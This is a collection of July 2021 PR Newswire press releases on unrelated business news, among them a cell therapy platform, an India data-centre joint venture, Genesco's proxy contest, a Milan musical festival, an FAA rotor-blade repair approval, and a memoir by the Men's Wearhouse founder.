The Cell Shuttle is an automated and closed end-to-end manufacturing solution that is flexible and scalable, enabling customers to run the exact processes specified for their cell therapy. Compared with currently available cell therapy manufacturing methods, this next-generation platform enables a three-fold reduction in process failure rates and is capable of producing 10+ patient doses in parallel, which increases manufacturing scalability by an order of magnitude. This will reduce the per-patient manufacturing cost by up to 70 percent for most processes.

About Cellares Corporation

Cellares is creating the future of cell therapy manufacturing and accelerating access to life-saving cell therapies. The company is developing a one-of-a-kind solution to overcome the limitations associated with manufacturing cell therapies that are more affordable and widely available to patients in need. With Cellares' proprietary platformthe Cell Shuttlebiopharma companies, academic research centers and CDMOs will no longer have to compromise by either choosing a manufacturing platform that is semi-automated but lacks workflow flexibility, or one that provides customization but not the end-to-end automation needed to manufacture at scale. The company is headquartered in South San Francisco, Calif. For more information visit www.cellares.com.

CONTACTS

Cellares

Media contact:

[email protected]

Business Development contact:

[email protected]

SOURCE Cellares Corporation

Related Links

http://www.cellares.com


HARTFORD, Conn., July 13, 2021 /PRNewswire/ -- If you're a recent college graduate, you know it's a hard, competitive world when it comes to starting a career in your desired industry. However, some colleges can give their graduates a leg up thanks to the relationships they've forged with business and industry in booming sectors.

Graduates need to ensure that the first job they land after college is a high-quality position. There's a lot of income at stake. In fact, as CNBC notes, "Students who have a desirable job lined up after college are more than twice as likely to be earning $60,000 a year more than those graduates who took between two and 12 months."

Picking a college with solid connections to strong industries should be a major priority for any student.

CollegeValuesOnline took up the challenge to find the 30 Colleges That Have Strong Links To America's Prospering Industries

"It was industry that built this nation and industry that will lead the way into the future," says Julie McCaulley, CollegeValuesOnline Editor. "When colleges forge bonds with the leaders in the industrial sector, it's a win for both the school and for the corporations they work with. It's also a huge benefit to the students. The relationship provides the perfect segue for graduates to enter the industrial workforce with the perfect qualifications to succeed. In the end, this is a win for us all."

CollegeValuesOnline developed a multi-part methodology to determine the 30 top colleges with strong links to prospering industries.

Here's a sampling of those colleges and universities:

University of St. Thomas

In late 2020, the University announced the creation of the Department of Alumni Engagement, Corporate Engagement, and Career Development. It will help build industry connections and boost graduate employment. Some areas of the college had already been championing strong industry connections. For example, the Opus College of Business runs a range of industry connection programs and has formed strong partnerships with U.S. Bank, UnitedHealth Group, API, and others.

University of Wisconsin, Stout

Collaboration with business is one of the University of Wisconsin, Stout's three tenets. It has formed a wide range of industry partnerships, including with businesses such as 3M, Spectrum Brands, Target, Lockheed Martin, Pepsico, IBM, and others. In fact, the college has assisted over 1,000 companies to date. These connections translate into graduate careers thanks to the fact that over 750 employers attend the college's career conferences.

Stanford University

Stanford's University and Corporate Foundation Relations department runs dozens of industrial affiliate programs. They cover everything from aeronautics to US-Asia technology management. Other departments have built their own industrial connections. For instance, the Energy Department runs initiatives such as the Natural Gas Initiative, the StorageX Initiative, and the Sustainable Finance Initiative to connect with businesses.

Savannah College of Art and Design

There are more than 50 industry-sponsored projects every year at Savannah College of Art and Design. The industry sponsors of these projects include Adult Swim, Coca-Cola, Fox Sports, Google, HP, NASA, and more. The primary center for this collaboration is SCADpro, which is the college's innovation studio. Its mission is to connect "current and future creative business leaders to discover what's next."

Boston University

Boston University's industry connections have led to hospitals detecting lung cancer earlier, a stronger scientific foundation for diagnosing kidney disease, and the development of new ultraviolet LED technology. More than 130 centers and institutes in the college have grown their connections with industries. Currently, the college is engaging with industries to solve a wide range of issues. It's researching a bionic pancreas for type-1 diabetes, developing acoustic metamaterial that can cancel 94% of sound, and exploring how human hearts change as they age.

Worcester Polytechnic Institute

Several divisions in the college have fostered its industry connections in different manners. For instance, the Office of Technology Commercialization helps inventors by working with the Tech Advisors Network. The Institute's Innovation & Entrepreneurship Center runs a range of business link-building activities, such as hosting mentors in residence. In 2021, the Institute's technology connections received a new boost. The Massachusetts Digital Games Institute is moving to the college and launching a new $100,000 grant.

Drexel University

Drexel's Solutions Institute acts as "the gateway for organizations to connect" to the college's resources and experts. It helps leading industry organizations with corporate education, talent acquisition, research/development, and other business engagement activities. Additionally, the college's Steinbright Career Development Center connects students to a wide range of employers.

Media Contact:

Julie McCaulley

518-496-0845

[email protected]

https://www.collegevaluesonline.com/about/



SOURCE College Values Online
AUSTIN, Texas, July 14, 2021 /PRNewswire/ -- Digital Realty (NYSE: DLR), the largest global provider of cloud- and carrier-neutral data center, colocation and interconnection solutions, and Brookfield Infrastructure L.P. (TSX: BIP.UN;NYSE: BIP) ("Brookfield Infrastructure") announced today an agreement to establish a 50/50 joint venture focused on the development, ownership and operation of institutional quality data centers in India. The joint venture will operate under the brand name BAM Digital Realty.

With a population of over 1.4 billion, the world's fifth-largest economy in terms of GDP and an expanding focus on the digital delivery of services, India represents a key market opportunity to extend coverage, capacity and connectivity options for the world's leading service providers as well as local and global enterprise customers. India is a high-growth market, with data center demand expected to significantly increase, driven by rapidly growing data consumption, digitization of the economy, the onset of 5G and data localization trends.

The joint venture is positioned to enable the significant expansion of PlatformDIGITAL, Digital Realty's premier global data center platform which supports the evolving data, control and networking demands of global enterprises. Its deployment across India is expected to enable customers to rapidly scale digital transformation by deploying critical infrastructure with a leading global data center provider at the heart of a growing connected data community in India. Data centers developed in India will leverage Digital Realty's industry-leading energy-efficient data center design and operating procedures and highly repeatable Pervasive Data Center Architecture (PDx) approach for the new digital workplace.

"India is a rapidly emerging data center market and offers a bright future, with accelerating adoption of digital business models among a population that recognizes the role of technology for future economic development," said Digital Realty Chief Executive Officer A. William Stein. "Our existing partnership with Brookfield, our Ascenty platform across Latin America, has already delivered long-term value to our customers, with over 250 megawatts of IT load capacity in Brazil, Chile and Mexico either fully built out or currently under construction. We look forward to building upon our successful partnership with Brookfield by entering the Indian data center market together and extending opportunities for digital transformation with the global consistency of PlatformDIGITAL."

The joint venture will expand Brookfield Infrastructure's significant global data infrastructure portfolio, which currently includes $23 billion in assets across data transmission, distribution, and storage, including a portfolio of 139,000 operational telecom wireless towers in India, which it intends to expand to 175,000 over the near term. Brookfield has over a decade of experience investing in India, with approximately $20 billion of assets under management including infrastructure, renewable power, real estate, and private equity.

"We are pleased to further expand both our partnership with Digital Realty and our presence in India through this joint venture," said Arpit Agrawal, Managing Director and Head of India & Middle East, Brookfield Infrastructure. "Through the development of a high-quality, multi-city, India-focused data center platform, we believe BAM Digital Realty is well positioned to play a meaningful role in addressing the large and growing data demand in the country and to offer a differentiated solution to customers."

BAM Digital Realty intends to acquire land parcels in multiple Indian metros for the development of data center campuses to support the needs of global hyperscale service providers as well as international and local enterprises. The joint venture expects to design, build and operate sustainable facilities, drawing upon the firms' broader commitments to sustainable operations, including carbon reduction initiatives.

"Today's collaboration marks the beginning of a new chapter for Digital Realty's operations, customers and partners in Asia Pacific. India is on the cusp of rapid digitization of services to support the country's economic growth," said Mark Smith, Managing Director, APAC for Digital Realty. "PlatformDIGITAL will offer our new and existing customers a consistent deployment model for extending their operations into India, providing fit-for-purpose infrastructure that will enable them to scale their digital business into one of the fastest-growing data markets in the world."

The closing of the joint venture is subject to customary closing conditions and regulatory approvals and is expected to occur in the second half of 2021.

Additional Resources

Digital Realty and Brookfield close Ascenty Joint Venture in Latin America

Explore global deployment opportunities on PlatformDIGITAL

Visit the Data Gravity Insights Hub to learn more about data gravity and see growth forecasts in the Data Gravity Index DGx

Read about our open interconnection manifesto for enabling connected data communities

About Digital Realty

Digital Realty supports the world's leading enterprises and service providers by delivering the full spectrum of data center, colocation and interconnection solutions. PlatformDIGITAL, the company's global data center platform, provides customers a trusted foundation and proven Pervasive Datacenter Architecture (PDx) solution methodology for scaling digital business and efficiently managing data gravity challenges. Digital Realty's global data center footprint gives customers access to the connected communities that matter to them with 290 facilities in 47 metros across 24 countries on six continents. To learn more about Digital Realty, please visit digitalrealty.com or follow us on LinkedIn and Twitter.

About Brookfield Infrastructure

Brookfield Infrastructure is a leading global infrastructure company that owns and operates high-quality, long-life assets in the utilities, transport, midstream and data sectors across North and South America, Asia Pacific and Europe. We are focused on assets that have contracted and regulated revenues that generate predictable and stable cash flows. Investors can access its portfolio either through Brookfield Infrastructure Partners L.P. (NYSE: BIP; TSX: BIP.UN), a Bermuda-based limited partnership, or Brookfield Infrastructure Corporation (NYSE, TSX: BIPC), a Canadian corporation. Further information is available at www.brookfield.com/infrastructure.

Brookfield Infrastructure is the flagship listed infrastructure company of Brookfield Asset Management, a global alternative asset manager with over $600 billion of assets under management. For more information, go to www.brookfield.com.

Safe Harbor Statement

This press release contains forward-looking statements which are based on current expectations, forecasts and assumptions that involve risks and uncertainties that could cause actual outcomes and results to differ materially, including statements related to our joint venture with Brookfield, the Indian market opportunity, our expectations regarding the joint venture's development plans and operations in India, our expectations regarding IT load capacity of the operations of our Ascenty joint venture, our sustainability programs and goals, and deployment and benefits of PlatformDIGITAL. Our forward-looking statements are generally identified with words such as "will," "believe," "expect," "intend" and similar expressions. Risks, uncertainties and assumptions that could affect our forward-looking statements include, among other things, our ability to consummate the joint venture (including our ability to obtain the requisite antitrust approvals), and to realize the benefits of the proposed joint venture. For a list and description of other risks and uncertainties, see the reports and other filings by the company with the U.S. Securities and Exchange Commission. The company disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise.

SOURCE Digital Realty

Related Links

http://www.digitalrealtytrust.com


NASHVILLE, Tenn., July 14, 2021 /PRNewswire/ -- Genesco Inc. (NYSE: GCO) ("Genesco" or the "Company") today announced that independent proxy advisory firm Egan-Jones Proxy Services ("Egan-Jones") has joined Institutional Shareholder Services ("ISS") in recommending that all Genesco shareholders vote the BLUE proxy card " FOR ALL " nine of the Company's director nominees at the Company's Annual Meeting of Shareholders scheduled to be held on July 20, 2021.

"We are very pleased that Egan-Jones, like ISS, recommends shareholders vote for our complete slate of directors on the blue proxy card," said Mimi Vaughn, Board Chair, President and CEO of Genesco. "In their reports, ISS and Egan-Jones recognize that the skills and experience of our directors are key to the continued execution of our footwear focused strategy. We encourage shareholders to follow the advice of these leading firms and allow Genesco to build on our strong progress and momentum for the benefit of all shareholders."

In making their recommendation FOR Genesco's full slate, Egan-Jones commented1:

"[W]e believe that voting FOR the management nominees is in the best interest of the Company and its shareholders."



" We believe there is a compelling reason to elect Genesco's nominees since the Board and the management [have] maneuvered the Company into the right direction given the challenges and uncertainty that the pandemic brought to the retail industry."



"Not only [has] the Company capitalized on its non-core assets, but has managed to drive conversion rates and e-commerce profitability to offset the effects of in store profits."



"We commend the Board's initiatives, mindful planning and strategies for value creation through board refreshment to ensure that the Board is comprised of highly qualified, independent and experienced directors to deliver growth and progress in a challenging environment."

Regarding Legion Partners' nominees, Egan-Jones stated1:

"We believe that Legion's slate of nominees lack the skills and experience needed to lead the Company and make a change in the board room."



"Contrary to the management's slate, none of the Legion nominees have the right mix of skills and experience in public companies, retail, footwear and e-commerce. As such, election of the Legion slate could disrupt the progress Genesco is currently into."

As noted above, today's recommendation from Egan-Jones follows a recent report from leading proxy advisor ISS, which recommended that Genesco shareholders vote " FOR ALL " nine of the Company's director nominees.

Genesco Urges Shareholders to Vote "FOR" its Slate of Highly Qualified

and Experienced Director Nominees

Genesco continues to urge shareholders to protect the value of their investment by voting the BLUE proxy card today " FOR ALL " nine of the Company's highly qualified directors at the Company's Annual Meeting scheduled to be held on July 20, 2021.

PLEASE VOTE TODAY!

To make sure your vote is processed timely, we are encouraging all

shareholders to vote online or by telephone if possible

just follow the easy instructions on the enclosed BLUE proxy card.

You may also sign, date and return the enclosed BLUE proxy card.

If you have any questions or need help voting your BLUE proxy card,

please call the firm assisting us with the solicitation of proxies:

Innisfree

1 (877) 825-8772

(toll-free from the U.S. and Canada)



+1 (412) 232-3651

(from other locations)

REMEMBER:

Please simply discard any White proxy cards

you may receive from Legion, as voting on a White card,

even in protest, will revoke any previous proxy you submitted using

the BLUE proxy card. Only your latest-dated proxy counts.

The Company's proxy statement and other information related to its 2021 Annual Meeting can be found at www.GenescoDrivingValue.com.

About Genesco Inc.

Genesco Inc., a Nashville-based specialty retailer and branded company, sells footwear and accessories in more than 1,455 retail stores throughout the U.S., Canada, the United Kingdom and the Republic of Ireland, principally under the names Journeys, Journeys Kidz, Little Burgundy, Schuh, Schuh Kids, Johnston & Murphy, and on internet websites www.journeys.com, www.journeyskidz.com, www.journeys.ca, www.littleburgundyshoes.com, www.schuh.co.uk, www.johnstonmurphy.com, www.johnstonmurphy.ca, www.nashvilleshoewarehouse.com, and www.dockersshoes.com. In addition, Genesco sells footwear at wholesale under its Johnston & Murphy brand, the licensed Levi's brand, the licensed Dockers brand, the licensed Bass brand, and other brands. For more information on Genesco and its operating divisions, please visit www.genesco.com.

Forward-Looking Statements

This release contains forward-looking statements, including those regarding the performance outlook for the Company and all other statements not addressing solely historical facts or present conditions. Forward- looking statements are usually identified by or are associated with such words as "intend," "expect," "believe," "should," "anticipate," "optimistic" and similar terminology. Actual results could vary materially from the expectations reflected in these statements. A number of factors could cause differences. These include adjustments to projections reflected in forward-looking statements, including those resulting from the effects of COVID-19 on the Company's business, including COVID-19 case spikes in locations in which the Company operates, the roll-out of COVID-19 vaccines and the public's acceptance of the vaccines, additional stores closures due to COVID-19, the timing of the re-opening of our stores, the timing of in-person back-to-work and back-to-school and sales with respect thereto, weakness in store and shopping mall traffic, restrictions on operations imposed by government entities and/or landlords, changes in public safety and health requirements, and limitations on the Company's ability to adequately staff and operate stores. Differences from expectations could also result from stores closures and effects on the business as a result of civil disturbances; the level and timing of promotional activity necessary to maintain inventories at appropriate levels; the imposition of tariffs on product imported by the Company or its vendors as well as the ability and costs to move production of products in response to tariffs; the Company's ability to obtain from suppliers products that are in-demand on a timely basis and effectively manage disruptions in product supply or distribution, including disruptions as a result of COVID-19; unfavorable trends in fuel costs, foreign exchange rates, foreign labor and material costs, and other factors affecting the cost of products; the effects of the British decision to exit the European Union and other sources of market weakness in the U.K. and Republic of Ireland; the effectiveness of the Company's omni-channel initiatives; costs associated with changes in minimum wage and overtime requirements; wage pressure in the U.S. and the U.K.; weakness in the consumer economy and retail industry; competition and fashion trends in the Company's markets; risks related to the potential for terrorist events; risks related to public health and safety events; changes in buying patterns by significant wholesale customers; retained liabilities associated with divestitures of businesses including potential liabilities under leases as the prior tenant or as a guarantor; and changes in the timing of holidays or in the onset of seasonal weather affecting period-to-period sales comparisons. Additional factors that could cause differences from expectations include the ability to renew leases in existing stores and control or lower occupancy costs, and to conduct required remodeling or refurbishment on schedule and at expected expense levels; the Company's ability to realize anticipated cost savings, including rent savings; the Company's ability to achieve expected digital gains and gain market share; deterioration in the performance of individual businesses or of the Company's market value relative to its book value, resulting in impairments of fixed assets, operating lease right of use assets or intangible assets or other adverse financial consequences and the timing and amount of such impairments or other consequences; unexpected changes to the market for the Company's shares or for the retail sector in general; costs and reputational harm as a result of disruptions in the Company's business or information technology systems either by security breaches and incidents or by potential problems associated with the implementation of new or upgraded systems; the Company's ability to realize any anticipated tax benefits; and the cost and outcome of litigation, investigations and environmental matters involving the Company, and the impact of actions initiated by activist shareholders. Additional factors are cited in the "Risk Factors," "Legal Proceedings" and "Management's Discussion and Analysis of Financial Condition and Results of Operations" sections of, and elsewhere in, the Company's SEC filings, copies of which may be obtained from the SEC website, www.sec.gov, or by contacting the investor relations department of Genesco via the Company's website, www.genesco.com. Many of the factors that will determine the outcome of the subject matter of this release are beyond Genesco's ability to control or predict. Genesco undertakes no obligation to release publicly the results of any revisions to these forward-looking statements that may be made to reflect events or circumstances after the date hereof or to reflect the occurrence of unanticipated events. Forward-looking statements reflect the expectations of the Company at the time they are made. The Company disclaims any obligation to update such statements.

Important Additional Information and Where to Find It

Genesco has filed a definitive proxy statement (the "Proxy Statement") and accompanying proxy card in connection with the solicitation of proxies for the 2021 annual meeting of Genesco shareholders (the "Annual Meeting"). INVESTORS AND SHAREHOLDERS ARE STRONGLY ENCOURAGED TO READ THE PROXY STATEMENT AND ACCOMPANYING PROXY CARD AND OTHER DOCUMENTS FILED WITH THE U.S. Securities and Exchange Commission (the "SEC") CAREFULLY AND IN THEIR ENTIRETY WHEN THEY BECOME AVAILABLE AS THEY WILL CONTAIN IMPORTANT INFORMATION. Shareholders may obtain the Proxy Statement, any amendments or supplements to the Proxy Statement and other documents filed by Genesco with the SEC for no charge at the SEC's website at www.sec.gov . Copies will also be available at no charge in the Investors section of Genesco's corporate website at www.genesco.com .

Participants in the Solicitation

Genesco, its directors and certain of its executive officers may be deemed to be participants in the solicitation of proxies from Genesco shareholders in connection with the matters to be considered at the Annual Meeting. Information regarding the names of Genesco's directors and executive officers and certain other individuals and their respective interests in Genesco by security holdings or otherwise is set forth in the Annual Report on Form 10-K of Genesco for the fiscal year ended January 30, 2021, and in the Proxy Statement. To the extent holdings of such participants in Genesco's securities have changed since the amounts described in the Proxy Statement, such changes have been reflected on Initial Statements of Beneficial Ownership on Form 3 or Statements of Change in Ownership on Form 4 filed with the SEC.

1 Permission to use quotations neither sought nor obtained from Egan-Jones.

SOURCE Genesco Inc.

Related Links

http://www.genesco.com


MILAN, July 13, 2021 /PRNewswire/ -- Roberto Righi, CEO of the Milano Musical Awards (MMA), together with MMA's board and Broadway International Group, have announced the inaugural Festival Internazionale del Musical (International Festival of Musical Theatre), a global celebration showcasing the creativity of the world's talented contemporary musical theatre artists and productions, in Milan, Italy in Summer, 2022.

Academy and Tony Award winner Whoopi Goldberg is featured in a special video introducing the Festival, with appearances by Tony Award winner Ben Vereen and musical theatre stars from around the world performing the iconic song "Magic to Do" from the musical Pippin by Academy and Grammy Award winner Stephen Schwartz. Click here to watch and share the video.

For the Inaugural Festival, several acclaimed musical productions will be invited to perform in prominent theatres in Milan and the Lombardy region over a two-week period in Summer, 2022. The Festival will include a Gala Event, featuring performers and presenters honoring a Musical Lifetime Achievement Award recipient. The recipient honoree will be announced in the fall of 2021.

With strong support from the city government of Milan and the Lombardy region, the local arts industry and Italian fashion icons, the Festival will embrace the hubs of Broadway and London's West End, as well as musical theatre art and artists around the globe, from Europe to Asia to Latin America and beyond.

Giuseppe Sala, Mayor of Milan, said: "Milan is the natural home for all expressions of creativity and beauty. We wish this team all the best on this first edition of the International Festival of Musical Theatre, and we'll see you in Milan in 2022."

Fabrizio Carbon, Board member of MMA said: "We are thrilled to welcome the international musical community to our beautiful city, which has a long and illustrious history as a center for the arts and commerce."

Simone Genatt, Chairperson of Broadway International Group, said "Musical theatre is a powerful international voice which crosses cultural barriers and unites us. Broadway International Group is proud to partner with our colleagues and friends in Milan and around the world on this exciting new Festival."

More specifics including rules regarding eligibility and further logistic details will be announced in October 2021.

www.festivalinternazionaledelmusical.com

www.milanomusicalawards.com

Follow the Festival on Facebook, Instagram and YouTube.

Click here to download photo and video assets.

Contacts for Media Inquiries: Chris Boneau / Heath Schwartz

[email protected]; [email protected]

SOURCE Festival Internazionale del Musical

Related Links

http://www.festivalinternazionaledelmusical.com


WINSTON-SALEM, N.C., July 14, 2021 /PRNewswire/ -- Piedmont Propulsion Systems, LLC, a wholly owned subsidiary of First Aviation Services Inc., announced today that it received an amendment to its Limited Airframe Rating with S-70 Capabilities from the FAA, enabling the company to perform all maintenance, repair and overhaul ("MRO") services for S-70 / UH-60 Blackhawk main rotor blades. This capability adds to Piedmont Propulsion's existing approvals to perform MRO services for the Blackhawk main rotor hub and bifilar, and Van Horn Aviation 206/OH-58 Tail Rotor Blades and adds to the company's many decades of experience in propeller blades and hub assemblies for all leading propeller product lines. Piedmont Propulsion's sister company Aviation Blade Services, Inc. is the leading independent MRO facility supporting Blackhawk and other legacy Sikorsky rotor blades.

Paul Bolton, COO of First Aviation Services Inc., said, "Piedmont Propulsion's FAA approval for the S-70 provides our Aviation Blade Services LLC subsidiary with both surge capacity and capability to perform on some of the largest rotor blade campaigns. In addition, it provided an opportunity for Aviation Blade Services to demonstrate its third-party training and development program that we believe will provide substantial support to international operators who need to increase in country capability."

About Piedmont Propulsion Systems, LLC (www.piedmontpropulsion.com)

Piedmont Propulsion Systems, LLC, a subsidiary of First Aviation Services Inc., is a world leader in propeller MRO for regional, corporate, and military aircraft. Piedmont Propulsion Systems holds FAA & EASA Propeller Class 1 and Class 2 Propeller Repair Station ratings for all Dowty, Hamilton, Hartzell and McCauley propellers and Rotor Blade repair facility. Piedmont Propulsion Systems is also a Hartzell recommended service facility. Piedmont Propulsion Systems is the only facility in the world with FAA/EASA certification to overhaul all ATR and Dash 8 / Q400 propeller types, including the Hamilton 568F and Dowty R408 propeller. Piedmont Propulsion Systems also supports out-of-production propellers including the Hamilton 14SF/RF, Saab 340, Fokker 27/50/60, EMB-120 & DHC-6 platforms. More information may be found at www.piedmontpropulsion.com.

About Aviation Blade Services, Inc. (www.absblade.com) Aviation Blade Services, Inc., based in Kissimmee, Florida, is best known for its expertise in the UH-60 Blackhawk rotor blade, as well as the Sikorsky, S-55, S-58, S-61, S-62, S-64, S-70, H-3, H34, and CH-54 rotor blades, and Westland Sea King rotor blades. With the most extensive library of Sikorsky rotor blade maintenance and manufacturing technical data outside of Sikorsky, ABS is the world's premier repair facility for Sikorsky rotor blades. The company's experience, knowledge and support for these rotor blades is unmatched.

About First Aviation Services Inc. (www.firstaviation.com)

First Aviation Services Inc. ("FAvS"), headquartered in Westport, Connecticut, is a leading provider of component repair and overhaul, PMA parts manufacturing and rotables management to the aviation industry worldwide. FAvS's principal operating subsidiaries are: Aerospace Turbine Rotables, Inc. ("AeTR") and Evolution Aerospace, Inc. ("EVO") in Wichita, KS, Piedmont Propulsion Systems, LLC ("Piedmont Propulsion Systems") in Winston-Salem, NC and Aviation Blade Services, Inc. ("ABS") in Kissimmee, FL. Together, the companies repair and overhaul Landing Gear systems, Flight Controls, Actuation Systems, Lighting, Power Supplies, Oxygen and Fire Suppression systems, Hydrostatic Testing, Crew Masks, all Dowty, Hamilton, Hartzell and McCauley propellers and Sikorsky rotor blades. More information about FAvS and its subsidiaries may be found on the company's website www.firstaviation.com.

Contact: Paul Bolton

Piedmont Propulsion Systems, LLC

[email protected]

SOURCE First Aviation Services Inc.
Congratulating the 2021 winners and recognizing their best-in-class performance, Senior Vice President Sapan Agarwal of Frost & Sullivan in Asia-Pacific said, "This year, we turn 60 as an organization ourselves, and over these years, companies that have inspired us the most are the ones who have been part of the solution to address global challenges. Award recipients tonight have rediscovered business models, redesigned value chains, and have successfully recreated foundations for sustained growth amid the unprecedented disruption by the Covid-19 pandemic."

The award recipients were identified using Frost & Sullivan's proprietary, measurement-based methodology derived from extensive primary and secondary research, in-depth interviews, analyses, and industry benchmarking. Numerous award categories were carefully reviewed and evaluated to reflect the current market landscape and highlight emerging trends in Asia. A detailed study was further conducted on each of the nominated companies, focusing on real-time performance indicators, such as market share, revenue growth, customer acquisitions, product/service value, and technology innovation. The companies that emerged represent outstanding leaders that are driving positive trends in the Asia-Pacific economy.

Award Titles and Categories Award Recipients Global and Regional Titles 2021 Global Enterprise Imaging Solutions Product Leadership Award Mach7 Technologies 2021 Asia-Pacific Clinical Oncology Next-generation Sequencing Workflow Solutions Product Leadership Award ACT Genomics 2021 Asia-Pacific Telecoms Tower Company of the Year Award edotco Group Sdn Bhd 2021 Asia-Pacific Functional Service Provider Pharmaceutical Competitive Strategy Leadership Award Labcorp Drug Development 2021 Asia-Pacific SME Accounting Software Vendor of the Year Award Xero Limited 2021 Asia-Pacific Customer Service Software Customer Value Leadership Award Zendesk Country Titles 2021 Australia Cloud Infrastructure Services Company of the Year Award Telstra 2021 Greater China CRO Entrepreneurial Company of the Year Award Viva Biotech Holdings 2021 Indonesia In Vitro Fertility Company of the Year Award Morula IVF Indonesia 2021 Indonesia Customer Experience Outsourcing Services Company of the Year Award PT Infomedia Nusantara 2021 Japan Contact Center Customer Value Leadership Award Rakuten Communications Corp 2021 Malaysia Facilities Management Competitive Strategy Leadership Award GFM Services Berhad 2021 Malaysia Hospital Company of the Year Award Subang Jaya Medical Centre 2021 Malaysia Mobile Services Company of the Year Award U Mobile 2021 Singapore Women's Health Entrepreneurial Company of The Year Award (Clinical Laboratories) INEX Innovate 2021 Thailand Data Center Services Company of the Year Award True Internet Data Center Co., Ltd.

To learn more about the awards and partnership opportunities for the 2021 awards, please visit http://www.apacbp-awards.com/. To schedule interaction with Frost & Sullivan spokespersons, please email Kala Mani.S at [email protected].

About Frost & Sullivan

For six decades, Frost & Sullivan has been world-renowned for its role in helping investors, corporate leaders, and governments navigate economic changes and identify disruptive technologies, Mega Trends, new business models, and companies to action, resulting in a continuous flow of growth opportunities to drive future success. Contact us: Start the discussion.

Contact:

Kala Mani. S.

Best Practices Awards Branding  Asia-Pacific

Email: [email protected]

SOURCE Frost & Sullivan

Related Links

www.frost.com


PHILADELPHIA, July 8, 2021 /PRNewswire/ -- The Wells Fargo Innovation Incubator (IN2), a technology incubator and platform funded by the Wells Fargo Foundation and co-administered by the U.S. Department of Energy's National Renewable Energy Laboratory (NREL), has selected GrowFlux and four other startups to participate in the program's ninth cohort.

GrowFlux has been selected alongside other companies that are developing technologies to help make indoor agriculture more sustainable. Launched in 2014 with an initial focus on scaling energy efficient solutions in commercial buildings, IN2 expanded into sustainable agriculture in 2018 to accelerate technologies that help the agriculture sector overcome barriers and costs of implementing sustainable farming solutions.

"We are thrilled to work with Wells Fargo, NREL, and the Donald Danforth Plant Science Center to advance our energy saving lighting control algorithms," says GrowFlux CEO Eric Eisele. As part of the IN2 program, GrowFlux plans to field test lighting control algorithms which incorporate real time sensor data to deliver the right light to the crop at the right times, saving growers significant amounts of energy. The activities done under the IN2 program complement the company's wireless lighting control products for horticultural lighting, which is compatible with the industry's broadest range of lighting brands.

GrowFlux was nominated to the program by Cleantech Open, a member of IN2's nationwide Channel Partner network, which includes more than 60 cleantech and agtech business incubators, accelerators and university programs. GrowFlux underwent in-depth review by Wells Fargo, NREL, Donald Danforth Plant Science Center and IN2's expert advisory board.

GrowFlux and the other selected companies will receive up to $250,000 in non-dilutive funding from Wells Fargo. They will conduct research and development activities at NREL and the Donald Danforth Plant Science Center in St. Louis, Missouri, a program partner and the world's largest independent plant science research institute.

About GrowFlux

GrowFlux, Inc. is an AgTech company offering automation and cloud technologies aimed at resource efficiency and yield expansion for the controlled environment agriculture industry, including greenhouses and indoor farms. GrowFlux specializes in data driven cultivation techniques that provide faster time to harvest, a lower energy footprint, and increased yields, driving profitability for farmers and opening new opportunities to bring crops into greenhouses and indoor farms. The company offers an ecosystem of commercial scale wireless lighting controls, cloud services, and cloud connected agricultural sensors that work seamlessly together to rapidly scale the farms of the future.

About the Wells Fargo Innovation Incubator (IN2)

The Wells Fargo Innovation Incubator (IN2) is a $50 million technology incubator and platform funded by the Wells Fargo Foundation. Co-administered by and housed at the National Renewable Energy Laboratory (NREL) in Golden, Colorado, IN2's mission is to speed the path to market for early-stage, clean-technology entrepreneurs. Launched in 2014 with an initial focus on supporting scalable solutions to reduce the energy impact of commercial buildings, IN2 has since expanded its focus to advance technologies that address the sustainable production of agriculture and housing affordability. Companies selected for participation in the program receive up to $250,000 in non-dilutive funding from Wells Fargo, technical support and validation from experts at NREL and the Donald Danforth Plant Science Center, and ongoing connections to organizations across value chains. For more information, visit in2ecosystem.com .

SOURCE GrowFlux, Inc.

Related Links

growflux.com


KNOXVILLE, Tenn., July 13, 2021 /PRNewswire/ -- ProximoCX, a Knoxville, TN company, opened its near-shore contact center on Thursday, July 1st in Tijuana, Mexico. By providing customers with data intelligence for their business, ProximoCX is able to handle over 95% of communications for their customers, utilizing the power of its best-in-class technology to collect valuable data and actionable insights. The goal is to create an organization that serves its customers and its internal team to the highest standards

"Contact Centers are not just a building with desks and computers," says Michael McMillan, Chief Executive Officer of ProximoCX. "Our centers are where our team comes together to improve the lives of our team members, their families, and the customers we serve. Today we celebrate the opening of our new home here in Tijuana. The neighbor to the United States, and gateway to Mexico. This community truly embodies all of our core values: Empowerment, Honor, Insight, Humility, and Excellence in everything we are and do."

ProximoCX serves a wide variety of industries, including Network Marketing (MLM), Retail, eCommerce, Medical Providers and Insurance Firms, Governments, and Customer Services including but not limited to Garbage, Cable and Telecom. Located just minutes from San Diego, the team prides itself on its understanding of American culture and multilingual capabilities with the ability to serve customers fluently in English, Spanish, and Portuguese.

The near-shore facility is fitted with 3,000 seats, but McMillan adds that ProximoCX has room to grow with the needs of its customers. "We literally have another floor in the same facility that we're building out now to meet the needs of our customers later this year. Lots of companies say that they can scale with their customers, but we actually can." McMillan went on to explain that ProximoCX is able to attract and retain talent by offering wages significantly above market in Tijuana, making ProximoCX one of the most lucrative places to work in the city.

About ProximoCX

ProximoCX is a 24/7/365 multi-lingual (English, Spanish, and Portuguese) solution for phone, email, SMS, web chat, and social media. We also provide data entry, transcription, and translation services. We offer scalable near shore solutions that provide best-in-class engagement experiences while generating savings and efficiencies for our customers that would make your procurement department blush.

Press Contact:

Kristi Torrington

916.765.8984

https://fidelitasdevelopment.com/

SOURCE ProximoCX

Related Links

https://www.proximocx.com


Over the course of forty years, Zimmer founded and created a company that not only profited across its 1,100+ storefronts but also put the frontline employees and loyal customers first. Offering bonus packages and generous sabbaticals, distributing $10 million dollars in college scholarships a year, and hosting black-tie holiday parties, the company was named one of the "100 best companies to work for" by Fortune magazine twelve times.

So, what exactly happened when Zimmer's handpicked board decided to terminate his employment? From the notable entrepreneur, marijuana advocate, and philanthropist, this is the true and untold story of the founder of Men's Wearhouse.

"George Zimmer is a legendary entrepreneur, a retailing rebel who created an iconic American brand. With great candor and insight, he shares his incredible story of heart and determination, wins and losses, and a commitment to stakeholder capitalism."

Marc Benioff, chair and CEO of Salesforce

"Over the decades, I've had to deal with George Zimmer on his sartorial expertise. I've always been a fan of his, and this book explains why."

Willie Brown, former mayor of San Francisco

George Zimmer was the founder of The Men's Wearhouse clothing chain and CEO, board chair, and television spokesperson for the company for forty-one years. Under Zimmer, The Men's Wearhouse became the largest men's specialty chain in history with his famous slogan, "You're going to like the way you look. I guarantee it."

